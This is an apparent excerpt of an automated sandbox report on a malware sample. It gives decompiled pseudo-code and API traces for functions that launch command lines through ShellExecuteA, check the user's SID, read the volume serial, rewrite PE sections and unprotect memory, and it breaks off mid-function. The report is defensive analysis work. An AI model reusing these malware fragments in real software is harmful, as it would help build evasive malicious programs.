Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 00426B90, Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426C1B
__nh_malloc_dbg.LIBCMTD ref: 00426D47

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: e358a3ec538f922ce86ceaaae15004d24926bfadf5430a88e7ec0729ccbbce08
Instruction ID: 8f6f798003585bd80720bb7fb8a5bea1c18e11ea4037ebe0bad54f152b49245a
Opcode Fuzzy Hash: e358a3ec538f922ce86ceaaae15004d24926bfadf5430a88e7ec0729ccbbce08
Instruction Fuzzy Hash: A2E14774E04258CFDB24CFA8D894BADFBB1BB49314F25825ED8256B392C7349846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041BB7A, Relevance: 4.6, APIs: 3, Instructions: 142COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041BD09
_memset.LIBCMT ref: 0041BD26
_memset.LIBCMT ref: 0041BD41

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f65a365a85970408d5a9747535712d21f841d260cafc316947d6d2c545627dab
Instruction ID: 2545e26e7a0c567276756ea3006b2089e363df2032948bf1c80b4fe771ff326e
Opcode Fuzzy Hash: f65a365a85970408d5a9747535712d21f841d260cafc316947d6d2c545627dab
Instruction Fuzzy Hash: A0513EB4A00208DFCB14CF54DA94BD977F1FB48304F208299E9156B391D739AE81CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B97F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

QQ, xrefs: 0041B979

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 23b3d06fc1a93e7388f54b0657548d5abcc68d7a3f46634f22e9f54542372d80
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: D901F6F1A14109EBDB04CF55D980BEA73A4EF48304F10855AFA0987240D338EA92DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 00406E36, Relevance: 3.1, APIs: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406E36(intOrPtr _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				intOrPtr _v60;
				intOrPtr _v76;
				void _v84;
				short _v340;
				short _v860;
				int _t20;
				int _t28;
				intOrPtr _t30;
				signed int _t31;
				signed int _t32;

				_t32 = _t31 | 0xffffffff;
				_v8 = 0x104;
				_t20 = GetUserNameW( &_v860,  &_v8); // executed
				if(_t20 != 0) {
					_v8 = 0x7c;
					_v12 = 0x80;
					_t28 = LookupAccountNameW(0,  &_v860,  &_v84,  &_v8,  &_v340,  &_v12,  &_v16); // executed
					if(_t28 != 0) {
						if(_v8 < 0xc || _v76 != _a4) {
							L8:
							_t32 = 1;
						} else {
							_t30 = _a8;
							if(_t30 == 0 || _v8 >= 0x1c && _v60 == _t30) {
								_t32 = 0;
							} else {
								goto L8;
							}
						}
					}
				}
				return _t32;
			}

0x00406e4b
0x00406e4e
0x00406e55
0x00406e5d
0x00406e7f
0x00406e86
0x00406e8d
0x00406e95
0x00406e9b
0x00406ebb
0x00406ebd
0x00406ea5
0x00406ea5
0x00406eaa
0x00406eb7
0x00000000
0x00000000
0x00000000
0x00406eaa
0x00406e9b
0x00406e95
0x00406ec2

APIs

GetUserNameW.ADVAPI32(?,00401FA1), ref: 00406E55
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,00000000,00000012), ref: 00406E8D

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID:
API String ID: 2370142434-0
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: d69833bf2c7126fc9b7bd4b1d5117f4fe90a033eeaed535c4400ab00b2689cfd
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 0211F776900218EBDF21CFD4C884ADFB7BCAB04741F1542B6E502F6290DB749B989BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00419B96, Relevance: 3.0, APIs: 2, Instructions: 39librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A44B,?,?,?,0041B7A5,00400000,00000000,?,0000000A), ref: 00419BF7
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A44B,?,?,?,0041B7A5,00400000,00000000,?,0000000A), ref: 00419C76

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction ID: 2fcbfe794da57f3ecd4e0552fa92b34eae4c3e2dade8687ecbbc7c313487ee15
Opcode Fuzzy Hash: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction Fuzzy Hash: DC211A6854C7C0C9E302A738EE187453E969323769F1841A991951A2B2C7FB21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00419BED, Relevance: 3.0, APIs: 2, Instructions: 27librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A44B,?,?,?,0041B7A5,00400000,00000000,?,0000000A), ref: 00419BF7
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A44B,?,?,?,0041B7A5,00400000,00000000,?,0000000A), ref: 00419C76

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 82a633f2534d16c45c60f2327092ccd695090fcf847dfee8cb31e8994e66e8ac
Instruction ID: d2e966f6e1cc1525238c765a2fb4a72efa8461b28f79f05b878ea475d2b1617c
Opcode Fuzzy Hash: 82a633f2534d16c45c60f2327092ccd695090fcf847dfee8cb31e8994e66e8ac
Instruction Fuzzy Hash: 4B01922840C3C0CDE302E738AE087413F96D727759F0801A9D1D51A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 004294E6, Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 004294F5

Part of subcall function 004264A0: ___crtCorExitProcess.LIBCMTD ref: 004264A9

RtlAllocateHeap.NTDLL(0055B03C,00000000,00000001), ref: 00429528

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: e2fcfb614bd5b882e971da83f7ebbe871fb37b7090ce55e9d281137da18ce774
Instruction ID: 9f6d5d13a118a520bafc0c6687107f9ef906e2aa3d71e6c6d2409236880f2efa
Opcode Fuzzy Hash: e2fcfb614bd5b882e971da83f7ebbe871fb37b7090ce55e9d281137da18ce774
Instruction Fuzzy Hash: A7E09276B40254BBEF109F50F85AB7A3730AB04319F50416AE8060A290E2759DC4D79A

Uniqueness

Uniqueness Score: -1.00%

Function 00570DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00570223,?,?), ref: 00570E02
SetErrorMode.KERNELBASE(00000000,?,?,00570223,?,?), ref: 00570E07

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 02da20957aeb4dec3ee56efd800c1bb5026d07a1b57d02733b98a788d3f53bce
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: EBD0123114512CB7D7002B94DC09BCD7F5C9F05B66F008011FB0DD9181C7B0994047E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x95be3c61
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x95be3c61
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00426C04, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426C1B
__nh_malloc_dbg.LIBCMTD ref: 00426D47

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 8f449c448f9c673f854357c76727f7386c0080d39fe14f26e29359d1f9b71cb4
Instruction ID: 882a19509f05cf57acc280fce1368143e8e4f4b11b1927adf06ff5faff07c9a8
Opcode Fuzzy Hash: 8f449c448f9c673f854357c76727f7386c0080d39fe14f26e29359d1f9b71cb4
Instruction Fuzzy Hash: 7CE026B1F88308AAD7309F66A803798B720E744B34F60832FE635772C2DB7900048F08

Uniqueness

Uniqueness Score: -1.00%

Function 004246B0, Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 004246B7

Part of subcall function 004245E0: __crt_wait_module_handle.LIBCMTD ref: 0042462C
Part of subcall function 004245E0: RtlEncodePointer.NTDLL(?), ref: 00424667

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 48e1db305f3dde264b098b33fc937a061154777a795f0bae2846fa790d0dd859
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 1EA0126664421833D00020833803B02390C87C0B78E480022FA0C051423852A5508097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B620, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041B625

Part of subcall function 0041B640: _check_managed_app.LIBCMTD ref: 0041B6BC
Part of subcall function 0041B640: __heap_init.LIBCMTD ref: 0041B6C6
Part of subcall function 0041B640: _fast_error_exit.LIBCMTD ref: 0041B6D4
Part of subcall function 0041B640: __mtinit.LIBCMTD ref: 0041B6DC
Part of subcall function 0041B640: _fast_error_exit.LIBCMTD ref: 0041B6E7
Part of subcall function 0041B640: __RTC_Initialize.LIBCMTD ref: 0041B6F9
Part of subcall function 0041B640: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B722
Part of subcall function 0041B640: ___wsetargv.LIBCMTD ref: 0041B72C
Part of subcall function 0041B640: __wsetenvp.LIBCMTD ref: 0041B73F
Part of subcall function 0041B640: __cinit.LIBCMTD ref: 0041B754
Part of subcall function 0041B640: __wwincmdln.LIBCMTD ref: 0041B771

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: 9286cf20ad67601d5e441a48ba3af05b32bf4136b755c0c88e723378bc028be7
Instruction ID: 05f023ded8795821202d90b6119212ac014723a99a785f8d3aef5be65afcde91
Opcode Fuzzy Hash: 9286cf20ad67601d5e441a48ba3af05b32bf4136b755c0c88e723378bc028be7
Instruction Fuzzy Hash: 53A02232000A2C22080033EB3003A0E320C8CC032C3C0000FB00C020032C0CA8C000EF

Uniqueness

Uniqueness Score: -1.00%

Function 00570920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00570929

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction ID: 30f3d7182eefe4c983e93399632d1765ae8032794c4adb82b9e2ac84a56656d9
Opcode Fuzzy Hash: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction Fuzzy Hash: EE90026074415011D82025AC0C02B0500121751634F344B107130AD1E4D840D6400115

Uniqueness

Uniqueness Score: -1.00%

Function 00419C7E, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0041A233,?,?,?,?,0041B7A5,00400000,00000000,?,0000000A), ref: 00419C86

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction ID: e90401dc1b2c122d05c12a740f464d47e5f9c7e426064232dd3deca42c89b7c0
Opcode Fuzzy Hash: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction Fuzzy Hash: 03B011F000A3008BCB020FA0AE08B803BA2B308B23F000222E300A02B2CBB20000AB0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
